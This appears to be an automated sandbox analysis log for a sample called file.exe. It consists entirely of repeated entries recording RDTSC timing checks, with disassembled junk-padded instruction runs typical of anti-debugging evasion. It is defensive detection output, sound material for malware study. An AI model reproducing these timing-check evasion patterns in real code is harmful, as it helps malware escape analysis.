Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CA7B second address: 134CA84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D82D second address: 134D831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D831 second address: 134D840 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DB1E second address: 134DB39 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE3507549BDh 0x00000008 jmp 00007FE3507549B1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135587D second address: 1355886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355886 second address: 135588A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355A0A second address: 1355A4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE350BA4127h 0x00000010 jnp 00007FE350BA4127h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355CB4 second address: 1355CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355CB8 second address: 1355CBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355CBE second address: 1355CDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549B8h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355E1F second address: 1355E69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FE350BA4127h 0x0000000e jmp 00007FE350BA4124h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 jbe 00007FE350BA4116h 0x0000001d push esi 0x0000001e pop esi 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1355E69 second address: 1355E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357CE0 second address: 1357CF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FE350BA4116h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357CF0 second address: 1357CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549AAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EC7C second address: 135EC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FE350BA4116h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EC8D second address: 135EC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EC93 second address: 135EC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EC97 second address: 135ECA1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F008 second address: 135F00E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F00E second address: 135F012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F012 second address: 135F03C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE350BA411Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FE350BA412Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F03C second address: 135F041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F041 second address: 135F05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA4127h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F1DE second address: 135F1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FE3507549A6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F1EB second address: 135F1F0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F1F0 second address: 135F236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FE3507549B8h 0x0000000f jmp 00007FE3507549B1h 0x00000014 jg 00007FE3507549A6h 0x0000001a popad 0x0000001b jbe 00007FE3507549ACh 0x00000021 jc 00007FE3507549A6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F236 second address: 135F23B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F517 second address: 135F51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F51C second address: 135F530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F530 second address: 135F534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F534 second address: 135F540 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 je 00007FE350BA4116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FF4B second address: 135FF4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FF4F second address: 135FF67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4124h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FF67 second address: 135FF6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135FF6D second address: 135FF71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1362AB3 second address: 1362AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1362AB9 second address: 1362ABD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1362ABD second address: 1362AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367F67 second address: 1367F71 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE350BA4122h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1367F71 second address: 1367F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13680D6 second address: 13680E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FE350BA411Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13680E5 second address: 1368103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnp 00007FE3507549A6h 0x0000000b jmp 00007FE3507549B1h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C11F second address: 136C12D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136C12D second address: 136C137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE3507549A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BF78 second address: 136BF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BF7C second address: 136BF83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BF83 second address: 136BF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FE350BA4116h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jnc 00007FE350BA4116h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136BF9A second address: 136BF9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13774A3 second address: 13774CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA411Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FE350BA4126h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13774CE second address: 13774D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377051 second address: 137706F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA4128h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378A82 second address: 1378AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE3507549B5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378AA0 second address: 1378AA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378AA4 second address: 1378ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a jmp 00007FE3507549ABh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378ABD second address: 1378AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378AC3 second address: 1378AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B4A4 second address: 137B4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B4A8 second address: 137B4AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AFCB second address: 138AFD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AE3B second address: 138AE4A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE3507549AAh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AE4A second address: 138AE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FE350BA4123h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138AE6D second address: 138AE78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1393496 second address: 139349B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139349B second address: 1393501 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE3507549C0h 0x00000008 jmp 00007FE3507549B8h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jne 00007FE3507549A8h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FE3507549AEh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jp 00007FE3507549A6h 0x00000026 popad 0x00000027 jne 00007FE3507549AAh 0x0000002d push edi 0x0000002e push esi 0x0000002f pop esi 0x00000030 pop edi 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FE3507549AFh 0x00000038 push esi 0x00000039 pop esi 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391EDD second address: 1391EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391EE1 second address: 1391F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549B9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13921B4 second address: 13921C2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13921C2 second address: 13921C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13921C8 second address: 13921D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13921D0 second address: 13921E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE3507549A6h 0x0000000a jnp 00007FE3507549A6h 0x00000010 popad 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392318 second address: 139231C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139262D second address: 1392639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jns 00007FE3507549A6h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396DA9 second address: 1396DD0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE350BA4116h 0x00000008 jmp 00007FE350BA4129h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396DD0 second address: 1396DF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE3507549B9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007FE3507549B2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396DF7 second address: 1396DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396F63 second address: 1396F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396F69 second address: 1396F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA4123h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396F82 second address: 1396F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1396F8B second address: 1396F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0F23 second address: 13A0F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0F37 second address: 13A0F4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA4120h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A0F4F second address: 13A0F6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B2F37 second address: 13B2F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007FE350BA4116h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B7121 second address: 13B7125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B7125 second address: 13B7129 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCE79 second address: 13CCE87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FE3507549A6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCE87 second address: 13CCE8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCE8B second address: 13CCE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE3507549A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCE97 second address: 13CCED5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE350BA411Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FE350BA411Fh 0x00000010 jmp 00007FE350BA4121h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCED5 second address: 13CCED9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCED9 second address: 13CCEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCEDF second address: 13CCEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CCEE5 second address: 13CCEEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE350BA4116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC244 second address: 13CC248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC248 second address: 13CC27D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE350BA4127h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FE350BA4122h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC27D second address: 13CC294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FE3507549A6h 0x0000000d jnp 00007FE3507549A6h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC294 second address: 13CC299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC299 second address: 13CC29F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC29F second address: 13CC2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC577 second address: 13CC5AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE3507549B2h 0x00000010 jmp 00007FE3507549ADh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC5AD second address: 13CC5D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE350BA4120h 0x00000008 jmp 00007FE350BA4120h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
